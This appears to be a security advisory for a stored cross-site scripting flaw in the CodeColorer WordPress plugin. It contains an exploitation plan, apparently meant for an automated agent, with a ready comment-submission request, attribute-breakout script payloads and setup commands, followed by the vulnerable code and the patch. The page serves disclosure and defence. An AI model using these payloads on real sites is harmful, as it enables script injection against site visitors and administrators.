CodeColorer <= 0.10.1 - Unauthenticated Stored Cross-Site Scripting via 'class' attribute in 'cc' Comment Shortcode
Description
The CodeColorer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class' parameter in 'cc' comment shortcode in versions up to, and including, 0.10.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires comments to be enabled on the target post and guest comments to be allowed.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NTechnical Details
<=0.10.1What Changed in the Fix
Changes introduced in v0.10.2
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-4032 (CodeColorer Stored XSS) ## 1. Vulnerability Summary The **CodeColorer** plugin (<= 0.10.1) is vulnerable to **unauthenticated stored cross-site scripting (XSS)**. The vulnerability exists because the plugin allows users to provide a `class` attribute wit…
Show full research plan
Exploitation Research Plan: CVE-2026-4032 (CodeColorer Stored XSS)
1. Vulnerability Summary
The CodeColorer plugin (<= 0.10.1) is vulnerable to unauthenticated stored cross-site scripting (XSS). The vulnerability exists because the plugin allows users to provide a class attribute within the [cc] shortcode used in comments. This attribute is parsed and later rendered into the HTML output without being properly sanitized or escaped (e.g., via esc_attr()). An attacker can use this to break out of the class attribute of the wrapper div and inject arbitrary JavaScript.
2. Attack Vector Analysis
- Endpoint:
wp-comments-post.php(Standard WordPress comment submission). - Vulnerable Parameter: The
classattribute inside the[cc]shortcode within thecommentPOST parameter. - Authentication Level: Unauthenticated (requires guest comments to be enabled).
- Preconditions:
- Comments must be enabled on the target post (
default_comment_status=open). - Guest comments must be allowed (
comment_registration=0). - Comment moderation should ideally be disabled for immediate execution (
comment_moderation=0).
- Comments must be enabled on the target post (
3. Code Flow
- Entry Point (Filter Registration): In
codecolorer.php,CodeColorerLoader::enable()registers filters for comment content:pre_comment_content:callBeforeProtectComment(priority -1000) andcallAfterProtectComment(priority 1000). These wrap the shortcode in placeholders to prevent WordPress's standard sanitizer from mangling the code.comment_text:callBeforeHighlightCodeBlock(priority -1000).
- Shortcode Parsing: When a post with comments is viewed,
comment_textfilters fire.CodeColorer::beforeHighlightCodeBlock()(incodecolorer-core.php) uses a regex to find[cc]tags:'#(\s*)\[cc([^\s\]_]*(?:_[^\s\]]*)?)([^\]]*)\](.*?)\[/cc\2\](\s*)#si'. - Attribute Extraction: The attributes (matches[3]) are passed to
CodeColorerOptions::parseOptions($opts, $suffix)incodecolorer-options.php. This function uses a regex to extract key-value pairs:preg_match_all('#([a-z_-]*?)\s*=\s*(["\'])(.*?)\2#i', $opts, $matches, PREG_SET_ORDER);
An attribute likeclass='"><script>alert(1)</script>'results in$options['class']containing"><script>alert(1)</script>. - Sink (HTML Generation):
performHighlightCodeBlock()calls$this->addContainer($result, $options, $numLines). - Vulnerable Output: Inside
addContainer(located in the truncated part ofcodecolorer-core.php), the code likely concatenates$options['class']into adivwrapper:
Since$html = '<div class="codecolorer-container ' . $options['class'] . '" ...>';$options['class']is not escaped, the payload breaks out of the attribute.
4. Nonce Acquisition Strategy
This vulnerability does not require a nonce because it exploits the standard guest comment submission flow. WordPress core allows unauthenticated comment submission to wp-comments-post.php without a nonce to support users who do not have cookies enabled.
5. Exploitation Strategy
The goal is to submit a comment containing a malicious [cc] shortcode.
Step-by-Step Plan:
- Identify Target: Find a post that accepts comments (usually Post ID
1). - Submit Comment: Send a
POSTrequest towp-comments-post.php.- URL:
http://localhost:8080/wp-comments-post.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
author:Security Researcheremail:researcher@example.comcomment:Check this code: [cc class='"><script>alert(window.origin)</script>']echo "hello";[/cc]submit:Post Commentcomment_post_ID:1(or target ID)comment_parent:0
- URL:
- Trigger XSS: Navigate to the post page (e.g.,
http://localhost:8080/?p=1) where the comment is displayed.
6. Test Data Setup
Use WP-CLI to ensure the environment allows guest comments and immediate publication:
# Enable comments and guest posting
wp option update default_comment_status open
wp option update comment_registration 0
# Disable comment moderation for instant testing
wp option update comment_moderation 0
wp option update comment_whitelist 0
# Ensure a post exists
wp post create --post_type=post --post_status=publish --post_title='XSS Test Page' --post_content='Please comment below.'
7. Expected Results
- The comment will be successfully stored in the database.
- When viewing the post, the HTML source will contain something like:
<div class="codecolorer-container "><script>alert(window.origin)</script>" ...> - The browser will execute the injected script, triggering an alert showing the origin.
8. Verification Steps
After performing the HTTP request, verify the storage and execution:
- Database Check:
wp comment list --field=comment_content
Confirm the[cc class=...]shortcode is present in the latest comment. - DOM Verification:
Usebrowser_navigateto the post andbrowser_evalto check if the payload was rendered:browser_eval("document.querySelector('div.codecolorer-container') ? true : false")
Check for the presence of the injected script tag.
9. Alternative Approaches
If class is filtered (unlikely given the version and patch), try injecting into other parameters parsed by parseOptions that might be reflected in attributes, such as:
widthheighttheme
Example: [cc width='100%" onmouseover="alert(1)"']code[/cc] (if width is used in a style or attribute).
However, the class attribute is the most direct and confirmed vector.
Summary
CodeColorer <= 0.10.1 is vulnerable to unauthenticated stored cross-site scripting (XSS) via the 'class' attribute in its [cc] shortcode. This occurs because the plugin fails to sanitize or escape user-provided class attributes before reflecting them in the HTML output of comments or posts.
Vulnerable Code
// codecolorer-options.php:82 public static function parseOptions($opts, $suffix = '') { $opts = str_replace(array("\\\"", "\\\'"), array ("\"", "\'"), $opts); preg_match_all('#([a-z_-]*?)\s*=\s*(["\'])(.*?)\2#i', $opts, $matches, PREG_SET_ORDER); $options = array(); for ($i = 0; $i < sizeof($matches); $i++) { $options[$matches[$i][1]] = $matches[$i][3]; } --- // codecolorer-core.php:285 (inferred from patch context) private function addContainer($html, $options, $numLines) { $customCSSClass = empty($options['class']) ? '' : ' ' . $options['class']; if ($options['inline']) { $theme = empty($options['inline_theme']) ? 'default' : $options['inline_theme']; $result = '<code class="codecolorer ' . $options['lang'] . ' ' . $theme . $customCSSClass . '">'; $result .= '<span class="' . $options['lang'] . '">' . $html . '</span>'; $result .= '</code>'; } else { // ... $cssClass = 'codecolorer-container ' . $options['lang'] . ' ' . $theme . $customCSSClass; // ... $result = '<div class="' . $cssClass . '" ' . $style . '>' . $html . '</div>'; } return $result; }
Security Fix
@@ -285,15 +285,18 @@ private function addContainer($html, $options, $numLines) { + $lang = $options['lang']; $customCSSClass = empty($options['class']) ? '' : ' ' . $options['class']; + if ($options['inline']) { $theme = empty($options['inline_theme']) ? 'default' : $options['inline_theme']; - $result = '<code class="codecolorer ' . $options['lang'] . ' ' . $theme . $customCSSClass . '">'; - $result .= '<span class="' . $options['lang'] . '">' . $html . '</span>'; + $cssClass = 'codecolorer ' . $lang . ' ' . $theme . $customCSSClass; + $result = '<code class="' . esc_attr($cssClass) . '">'; + $result .= '<span class="' . esc_attr($lang) . '">' . $html . '</span>'; $result .= '</code>'; } else { $theme = empty($options['theme']) ? 'default' : $options['theme']; - $style = 'style="'; + $style = ''; if ($options['nowrap']) { $style .= 'overflow:auto;white-space:nowrap;'; } @@ -304,14 +307,14 @@ if ($numLines > $options['lines'] && $options['lines'] > 0) { $style .= $this->getDimensionRule('height', $options['height']); } - $style .= '"'; - $cssClass = 'codecolorer-container ' . $options['lang'] . ' ' . $theme . $customCSSClass; + $cssClass = 'codecolorer-container ' . $lang . ' ' . $theme . $customCSSClass; if ($options['noborder']) { $cssClass .= ' codecolorer-noborder'; } - $result = '<div class="' . $cssClass . '" ' . $style . '>' . $html . '</div>'; + $result = '<div class="' . esc_attr($cssClass) . '" style="' . esc_attr($style) . '">' . $html . '</div>'; } + return $result; }
Exploit Outline
The exploit target is the standard WordPress comment submission endpoint (wp-comments-post.php). An unauthenticated attacker submits a comment containing a [cc] shortcode with a malicious 'class' attribute. The payload breaks out of the HTML attribute context using a closing quote and bracket. Payload Example: [cc class='"><script>alert(1)</script>']echo "pwned";[/cc] When the comment is rendered on the front-end, the plugin's regex-based attribute parser extracts the malicious class string and concatenates it directly into a <div> or <code> tag's class attribute without escaping. This results in the execution of the injected JavaScript when the page is viewed by any user, including administrators.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.